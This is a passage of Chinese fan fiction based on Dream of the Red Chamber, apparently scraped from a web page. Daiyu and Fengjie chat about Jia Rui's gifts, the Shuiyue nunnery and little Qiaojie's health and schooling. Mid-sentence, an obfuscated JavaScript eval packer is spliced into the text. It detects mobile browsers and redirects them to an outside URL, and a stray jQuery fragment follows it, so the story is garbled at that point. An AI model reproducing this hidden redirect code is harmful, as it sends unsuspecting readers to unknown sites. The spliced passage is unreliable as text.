平儿见黛玉似乎对那糕点有些兴趣,便道:“我们奶奶哪里吃得了这些,正巧姑娘来了,过会子也给姑娘包一些带进园子去罢。不是多高贵的口味,不过得一个新鲜意思儿,姑娘且尝一尝罢了,下剩的赏丫头们吃去。这还是东府的瑞大爷送来的,今年他要赶秋闱,前两日已启程回南边去了,难为他还想着过去他病时二爷和二奶奶替他张罗的那些好药材,逢年节都有礼送来,连这次临走前还惦记要送东西。”
原来是贾瑞送的,这倒是让人没想到。
黛玉转头与秦雪互视一眼,秦雪挑了挑眉。
结合这两年零零碎碎听说的贾瑞的近况,秦雪虽然感慨他真是痛改前非、浪子回头金不换,却也更感慨这世道对男人就是格外的包容,只要这男的还有一口气儿活着,给他们的机会就是格外的多,人生随时都可以重新来过。
反观女孩子们,若是有一次行差踏错,道德上一旦存在“瑕疵”,等待她们的就是万劫不复之地,这跟谁说理去?
平儿说起贾瑞很是赞赏,凤姐却似乎很懒怠听见这个名字一般,随口道:“还不知能考个什么,倒弄得满家里人尽皆知的,回来若不得个名次,岂不是要叫人笑话了。”
黛玉等都知道她心里对贾瑞仍旧有芥蒂,毕竟从前受过那样无礼的冒犯,她虽然不声张、也可以在贾瑞重病之时替他寻上等人参,可她当然可以选择不原谅,这是再合理不过的。
说多了也晦气,凤姐不愿多发议论,旋又向黛玉笑道:“说来也怪了,你也知道我们大姐儿素日是最爱生病的,可是上回跟了你上园子里住了那十日,我听奶娘说,倒是一次也不曾病过,每日里的精神也好,又说吃的、喝的也寻常,并没什么特别的,这我倒不明白了,难不成是你们园子里的风水好不成?”
黛玉听见说,笑道:“这有什么想不明白的,总不成我是个‘妖怪’,倒能弄些巧魔法儿替人挡病消灾的。到底是怎么样,你若认真疑惑,不如也跟了我去,不就知道了?我那‘大院子’里倒还有现成的空房,也不必你收拾什么东西,样样都是便利的。”
凤姐向旁边桌上黄杨狮子戏绣球的香插一指,立即有一个丫头来把将要燃尽的线香换了,凤姐又吩咐:“挪远些儿。”这才对黛玉道:“真有这个话才好呢,若你能保我们大姐儿一辈子就这么没病没灾、平平安安的,凭你是个妖怪也好、魔鬼也罢,我还要给你立碑修庙、奉四时香火呢。”
说起香火的话,黛玉想起前事,忙问:“如今大姐儿的寄名符儿还有供奉那些,仍旧是在‘水月庵’么?”
凤姐道:“你还不知道?上回因为有智能儿那一档子事,我一早已挪了出来了,如今另放在铁槛寺,清虚观张道士那里也有——他们两路供的菩萨神仙不一样,我也不大明白,总是多拜拜没错,都告诉给外头的人去做的——那水月庵,说来也可气,我虽看不惯净虚那老尼姑,可不管怎样,从前面上总还是好的,自从三房的老四带着那一班小姑子去了,越发闹得不像了,前面外头有人来悄悄告诉你哥哥,我们才知道有那些腌臜事,听见说还有庵里的人私逃了出去的,十分不成话。这一程子也顾不上外头的事,回来还是要寻个机会将他的事免了才放心,否则将来还不知惹出什么祸来。”
凤姐向来欣赏黛玉,在她面前从不讳言家事,有时也很愿意听听黛玉的意见。黛玉却最知道凤姐的能干,不愿过多干涉,只在必要时出言提醒,此时听见凤姐的话,便知道这里是说贾芹的事,如今她和贾琏既然知道水月庵的底细,余下的事自有公断,所以也不理论。
两人随意说着话,里面有奶娘抱着大姐儿出来,后面跟着两个丫头,拿着两只小包袱儿,都是收拾好的细软物事。
大姐儿戴一顶好俏皮的红缎湖蓝滚边双狮小帽,穿同色绣金鱼的缎面小鞋子,一见黛玉,晃着胳膊腿,口里直道:“我要下去、我要下去。”
奶娘“嗳哟”一声,差点抱她不住,忙低声哄道:“好、好。”一面就俯身将她轻轻放在地下。
大姐儿甫一踩着地面,便一路向黛玉跑过去,扑在她怀里稚声唤着:“姑姑——”
黛玉搂着大姐儿笑道:“慢些儿,这屋里东西多,到时绊倒了你,可要摔得痛了。你且攒着些精神,过会子到姑姑那里去,姑姑那里的‘大院子’你可尽兴跑呢。”
凤姐不由得笑道:“听听,说你两句,你偏能捉住了不放,‘大院子、大院子’地说个不休,你也厉害得够了,只拿我们这些良善人使劲儿欺负。我且等着看,将来能得个什么厉害的婆家把你管上,到时咱们再论呢。”
黛玉忙捂了大姐儿的耳朵,啐道:“呸呸呸,这还是做人家娘的人呢,这么总没正经,咱们可不听这样的胡说。”一面又替大姐儿将帽子取了,又捏了捏她身上的夹袍,不禁道:“虽是近秋了,天却还热着,怎么给她穿得这样多?怪道她跑也跑不灵便,瞧这头上,还有这手心儿里,都有汗了。”
一旁奶娘忙道:“姑娘不知道,咱们姐儿从小就娇嫩,一丝儿也受不得风,吹了风,就要闹病,这样已是穿得少了些儿的,再少可使不得了。”
黛玉将大姐儿的帽子交在奶娘手里,一面笑道:“什么‘受不得风’,没有这样的话。我明白你们爱护她的心,可若是总像这般含在嘴里养着,却是误了她了,小孩儿家就是要跌打跌打才好。”说完含笑向秦雪看了一眼。
这些年来,秦雪正是用这样的理念替她调理好了身体,如今黛玉已绝少再生病,连春秋两季的嗽疾也少犯了。
黛玉拿手绢替大姐儿将头上的细汗抹了,笑着哄她道:“我们大姐儿从来是最坚强、最强壮的,是不是?”
大姐儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561879|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用力点点头,回头对母亲凤姐骄傲一笑。
凤姐看见女儿这样,心里早融化了一般,只嘱咐道:“你到姑姑那里顽,要好好听话,不许要东西、不许吵闹。园子里路程远些,不要误了定省的时辰。”
她又看了一遍丫头们手里给大姐儿带的东西,对丫头道:“这些也罢了,早上说了要拿给林姑娘的东西,放在哪里了?也一并带上。”
丫头答应一声,大姐儿听见说,忙道:“我也有东西要送给姑姑。”
凤姐柔声道:“我们大姐儿真是懂事了,知道要对姑姑好。好,你要送什么给人,自己去拿吧。”又让丫头好生领着她往后面去。
黛玉含笑看着大姐儿的小身影消失在帘子后面,道:“小时候也罢了,如今还是叫‘大姐儿’么?”
凤姐支着头叹道:“这也是我一件心事。大老爷、大太太一向不上心,你哥哥也不大理论,我心里想着是要我们大姐儿有个正经学名的,可若是我为着这事去求着老太太,倒像我有心要越过他们似的,到时又要生事——生事也不怕,我只懒怠罗唣。如今我想,只等她上学去了再起吧,到时也名正言顺的,任谁也挑不出理儿了。”
说起这个,凤姐又捋着镯子道:“说来不怕你笑话,我打小儿是个坐不住的,家里也不曾要求这些个,我向来便以为女人家不必读什么书。可素日我瞧着你们这些会作诗作文的,比旁人格外又懂些道理,说的话也中听,如此我也愿意叫我们姐儿也学着读书认字儿,到时就比我强。只可惜她又多病,一来二去倒耽搁了,像二丫头她们几个,在姐儿这个年纪,都已跟着大嫂子去上学了,我们姐儿却还不成,三日五日地要闹病,到时若总告假,也不像的。从前有宝姑娘给的那个方子,如今也叫她常吃着,果然吃饭上强些儿了,如今我想越发要将身子打熬好了,再去不迟。”
黛玉笑道:“这是好事,只是也不必一定等到上学。你若放心,我便先教她认几个字,再记得些简单的书在心里,回来上学时也容易些。”
凤姐坐直身子笑道:“好、好,不枉我说了这一篇话,就等你答应这一声儿呢。若得你这一个‘女博士’亲自教我们大姐儿,我看越发连学也不用去上了,强好些呢。”
黛玉不禁笑道:“好呀,琏二奶奶的好手段我们也算领教了,求人没有求人的样子,倒会绕圈子引人主动替你做事。”想了一想,又道:“至于名字,总是已拖到如今了,更不必急,说不准过些日子有什么机遇,叫你遇到什么有福气又有见识的老人家,一并就替姐儿将名字也取了,岂不好么。”
凤姐笑道:“你也不必委屈,真做了我们大姐儿的老师,好处还多呢。唔,真如你说的那样,倒也好,只是这家里除了几个见熟了的亲戚,长久也不见什么人来往,若真有你说的那样一个人,我倒是认真要借一借福气的。”